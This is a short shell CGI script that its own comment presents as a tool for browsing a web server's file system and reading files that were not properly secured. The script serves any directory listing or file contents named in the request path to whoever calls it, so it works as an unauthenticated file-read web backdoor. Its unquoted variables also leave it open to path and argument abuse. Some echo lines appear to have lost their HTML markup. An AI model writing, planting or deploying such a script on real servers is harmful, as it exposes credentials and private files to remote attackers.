#!/bin/sh
#
# Simple CGI for viewing a web server's file system
# and reading files that have not been properly secured.
#
#
if test "x${PATH_INFO}" = "x";then
DIR=`dirname ${SCRIPT_FILENAME}`
else
DIR=${PATH_INFO}
fi
if [ -d ${DIR} ];then
echo "Content-type: text/html"
echo ""
cd ${DIR}
echo "${DIR}
"
for FILE in `ls -a ${DIR}`;do
if test "x${FILE}" = "x..";then
echo "${FILE}
"
else
echo "${FILE}
"
fi
done
else
echo "Content-type: text/plain"
echo ""
cat ${DIR}
fi